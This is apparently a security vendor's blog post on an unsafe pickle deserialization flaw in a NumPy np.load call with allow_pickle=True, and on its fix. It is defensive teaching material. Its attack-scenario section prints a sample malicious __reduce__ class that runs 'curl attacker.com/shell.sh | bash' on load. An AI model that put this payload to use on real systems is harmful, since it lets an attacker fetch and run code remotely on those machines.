Back to Blog
high SEVERITY6 min read

How unsafe pickle deserialization happens in NumPy's np.load() and how to fix it

A high-severity arbitrary code execution vulnerability was discovered in `tools/ardy-engine/retarget.py` where `np.load()` was called with `allow_pickle=True`, enabling attackers to embed malicious pickle payloads in `.npz` files. The fix was a single-character change—switching `allow_pickle=True` to `allow_pickle=False`—that eliminates the deserialization attack vector while preserving the file's legitimate array data loading functionality.

O
By Orbis AppSec
Published July 23, 2026Reviewed July 23, 2026

Answer Summary

This vulnerability is an unsafe pickle deserialization issue (CWE-502) in Python's NumPy library, specifically in the `np.load()` function called with `allow_pickle=True`. When a `.npz` file containing a crafted pickle payload is loaded, it can execute arbitrary code on the host system. The fix is to set `allow_pickle=False` in the `np.load()` call, which restricts loading to safe NumPy array data only.

Vulnerability at a Glance

cweCWE-502
fixChanged allow_pickle=True to allow_pickle=False in retarget.py:55
riskArbitrary code execution when loading crafted .npz files
languagePython
root causenp.load() called with allow_pickle=True on potentially untrusted input
vulnerabilityUnsafe pickle deserialization via NumPy np.load()

How Unsafe Pickle Deserialization Happens in NumPy's np.load() and How to Fix It

Introduction

In the tools/ardy-engine/retarget.py file—a component of the ardy-engine that converts motion capture data from .npz files into structured dictionaries—a high-severity vulnerability was lurking at line 55. The convert() function loaded NumPy archive files with allow_pickle=True, opening the door to arbitrary code execution if a malicious .npz file were ever processed.

Here's the problematic line:

data = np.load(npz_path, allow_pickle=True)

This single parameter choice transforms what should be a safe data loading operation into a potential remote code execution (RCE) vector. For any developer working with NumPy file I/O—especially in ML pipelines, animation tools, or data processing engines—this pattern is critically dangerous.

The Vulnerability Explained

What Makes This Dangerous

NumPy's .npz format is essentially a ZIP archive containing .npy files (raw array data). However, when allow_pickle=True is set, NumPy will also deserialize Python objects stored in the archive using Python's pickle module. Pickle is inherently unsafe for untrusted data because it can execute arbitrary Python code during deserialization.

The vulnerable code in retarget.py:

def convert(npz_path: str, fps_div: int = 1) -> dict:
    data = np.load(npz_path, allow_pickle=True)
    return spec_from_arrays(
        data["global_rot_mats"],
        data["root_positions"],

The npz_path parameter represents a file path that could originate from user input, uploaded files, or external data sources. The function expects arrays like global_rot_mats and root_positions—legitimate motion capture data—but with allow_pickle=True, the file could contain anything.

A Concrete Attack Scenario

An attacker targeting the ardy-engine retargeting pipeline could craft a malicious .npz file like this:

import numpy as np
import pickle
import os

class MaliciousPayload:
    def __reduce__(self):
        # This executes when the object is unpickled
        return (os.system, ('curl attacker.com/shell.sh | bash',))

# Create a fake .npz that contains a pickled object
# instead of legitimate rotation matrices
malicious_data = {'global_rot_mats': MaliciousPayload()}

When retarget.py's convert() function loads this file, the __reduce__ method fires during deserialization, executing the attacker's shell command. The attacker gains code execution with the same privileges as the process running the retargeting engine.

Since the PR description notes this is a library that affects downstream consumers, any application using the ardy-engine's convert() function inherits this vulnerability. A user uploading a motion capture file to a web service backed by this engine could achieve full server compromise.

Why allow_pickle=True Existed

Historically, NumPy defaulted to allowing pickle in np.load(). Many codebases set it explicitly to suppress deprecation warnings that appeared when NumPy changed the default to False in version 1.16.3. Developers often added allow_pickle=True as a quick fix without considering the security implications—especially when the data format didn't actually require pickle.

In this case, the arrays global_rot_mats, root_positions, and other motion data are standard NumPy arrays that don't need pickle serialization at all.

The Fix

The fix is elegantly simple—a single parameter change at line 55:

Before:

def convert(npz_path: str, fps_div: int = 1) -> dict:
    data = np.load(npz_path, allow_pickle=True)
    return spec_from_arrays(
        data["global_rot_mats"],
        data["root_positions"],

After:

def convert(npz_path: str, fps_div: int = 1) -> dict:
    data = np.load(npz_path, allow_pickle=False)
    return spec_from_arrays(
        data["global_rot_mats"],
        data["root_positions"],

Why This Works

Setting allow_pickle=False instructs NumPy to:

  1. Reject any pickled objects in the .npz file, raising a ValueError instead of deserializing them
  2. Only load raw NumPy arrays stored in the standard .npy binary format
  3. Completely eliminate the deserialization attack surface for this code path

Since the convert() function only accesses standard array keys (global_rot_mats, root_positions), these should be stored as regular NumPy arrays in any legitimate .npz file. The fix doesn't break functionality—it enforces that the data is what it claims to be.

The build passes and scanner re-scan confirms the vulnerability is resolved, validating that the motion capture data files used by this engine don't actually require pickle.

Prevention & Best Practices

1. Default to allow_pickle=False

Always use allow_pickle=False unless you have a specific, documented reason to deserialize pickle objects—and even then, consider alternatives:

# Safe — only loads NumPy arrays
data = np.load(filepath, allow_pickle=False)

# Unsafe — allows arbitrary code execution
data = np.load(filepath, allow_pickle=True)

2. Use Safer Serialization Formats

For ML and scientific computing, consider:
- SafeTensors — designed specifically for safe tensor serialization
- HDF5 — structured scientific data format without code execution risk
- JSON/MessagePack — for metadata and configuration
- NumPy's native .npy format — safe when pickle is disabled

3. Audit Pickle Files with Fickling

If you must work with pickle files, use fickling from Trail of Bits to scan for malicious payloads:

import fickling
result = fickling.is_likely_safe("model.pkl")

4. Input Validation

Validate file sources before loading:
- Verify file checksums against known-good values
- Restrict file upload paths and validate MIME types
- Run file processing in sandboxed environments with minimal privileges

5. Static Analysis Integration

Integrate Semgrep with the Trail of Bits Python ruleset into your CI/CD pipeline to catch these patterns automatically:

# .semgrep.yml
rules:
  - id: trailofbits.python.pickles-in-numpy.pickles-in-numpy

Key Takeaways

  • allow_pickle=True in np.load() is equivalent to running eval() on untrusted input — the convert() function in retarget.py was one malicious .npz file away from full system compromise
  • Motion capture data (rotation matrices, positions) never needs pickle — the arrays in global_rot_mats and root_positions are standard NumPy arrays that load perfectly with allow_pickle=False
  • Library vulnerabilities cascade to all consumers — every downstream application using ardy-engine's convert(npz_path) function inherited this RCE vector
  • One-character fixes can eliminate critical vulnerabilities — changing True to False completely removed the attack surface without any functionality loss
  • Static analysis catches what code review misses — the allow_pickle=True pattern looks innocuous but the Semgrep Trail of Bits ruleset correctly identified it as high severity

How Orbis AppSec Detected This

  • Source: The npz_path parameter passed to the convert() function in tools/ardy-engine/retarget.py, representing a file path that can be influenced by external input or user-uploaded data
  • Sink: np.load(npz_path, allow_pickle=True) at line 55 of tools/ardy-engine/retarget.py
  • Missing control: No restriction on pickle deserialization — the allow_pickle=True flag permitted arbitrary Python object deserialization from the loaded file
  • CWE: CWE-502 — Deserialization of Untrusted Data
  • Fix: Changed allow_pickle=True to allow_pickle=False in the np.load() call, restricting loading to safe NumPy array data only

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The pickle deserialization vulnerability in retarget.py is a textbook example of how a seemingly harmless parameter can create a critical security hole. The allow_pickle=True flag was likely added without malicious intent—perhaps to suppress a warning or ensure compatibility—but it transformed a data loading function into an arbitrary code execution gateway.

The fix demonstrates that security improvements don't always require architectural changes. By setting allow_pickle=False, the ardy-engine's motion retargeting pipeline now safely processes .npz files without any risk of code execution, while maintaining full compatibility with legitimate motion capture data.

If you work with NumPy file I/O, audit your codebase for allow_pickle=True today. Every instance is a potential RCE waiting to happen.

References

Frequently Asked Questions

What is unsafe pickle deserialization in NumPy?

When NumPy's np.load() is called with allow_pickle=True, it uses Python's pickle module to deserialize objects stored in .npz files. Pickle can execute arbitrary Python code during deserialization, meaning a maliciously crafted .npz file can run attacker-controlled code when loaded.

How do you prevent pickle deserialization attacks in Python?

Set allow_pickle=False when calling np.load(), use safer serialization formats like JSON or SafeTensors for ML data, validate file sources before loading, and use tools like fickling to audit pickle files for malicious content.

What CWE is unsafe pickle deserialization?

CWE-502: Deserialization of Untrusted Data. This covers all cases where an application deserializes data from untrusted sources without adequate verification, potentially leading to arbitrary code execution.

Is setting allow_pickle=False enough to prevent pickle attacks in NumPy?

Yes, for np.load() specifically. Setting allow_pickle=False causes NumPy to raise a ValueError if the .npz file contains pickled objects, completely preventing deserialization. However, you must ensure your data files only contain standard NumPy arrays, not pickled Python objects.

Can static analysis detect pickle deserialization vulnerabilities?

Yes. Tools like Semgrep with the Trail of Bits ruleset (rule: trailofbits.python.pickles-in-numpy.pickles-in-numpy) specifically detect np.load() calls with allow_pickle=True or without the parameter explicitly set to False.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6

Related Articles

high

How Quadratic CPU Consumption Vulnerabilities Happen in JavaScript YAML Parsers and How to Fix Them

A high-severity denial-of-service vulnerability in js-yaml versions 3.x and 4.x allowed attackers to trigger quadratic CPU consumption through specially crafted YAML documents using the !!omap tag. This fix upgrades js-yaml from 4.1.1 to 4.3.1 and from 3.14.2 to 3.15.1, eliminating the algorithmic complexity attack vector that could freeze Node.js applications processing untrusted YAML input.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/build.js` where `execSync` was called with string-interpolated arguments (`sourceDir` and `outputPath`) inside a shell command. By replacing `execSync` with `spawnSync` using an argument array (no shell), the fix eliminates the possibility of shell metacharacter injection while preserving identical build behavior.

high

How Command Injection happens in Node.js child_process and how to fix it

A command injection vulnerability in nix.js's Release class allowed potentially malicious input through the `arch` parameter to be executed via shell commands. The fix replaced `execSync()` with `execFileSync()`, eliminating shell interpretation and preventing command injection by passing arguments as an array instead of a concatenated string.

critical

How Sensitive Data Exposure in Error Logging happens in TypeScript/Deno and how to fix it

A critical vulnerability in Supabase Edge Functions allowed sensitive authentication errors and API credentials to leak through verbose error logging. The `cancel-subscription/index.ts` function logged full error objects to the console, potentially exposing Paddle API keys and auth tokens in deployment logs. The fix sanitizes all error messages to log only safe error text while preserving debugging capability.

critical

How HTTP Header Injection Happens in Go and How to Fix It

A critical vulnerability in the file upload handler allowed attackers to inject CRLF sequences into HTTP response headers through crafted filenames. The fix sanitizes user-supplied filenames before using them in Content-Disposition headers, preventing header injection attacks that could lead to cache poisoning, session fixation, or XSS.

high

How Path Traversal and Security Policy Bypass Happens in Node.js Dependencies and How to Fix It

A high-severity vulnerability in the fast-uri package (CVE-2026-6321) allowed attackers to bypass security policies through improper Unicode hostname canonicalization and path traversal. This issue affected the @apralabs/apra-fleet project through its dependency tree, and was resolved by upgrading fast-uri from version 3.1.0 to 4.1.2 using npm overrides.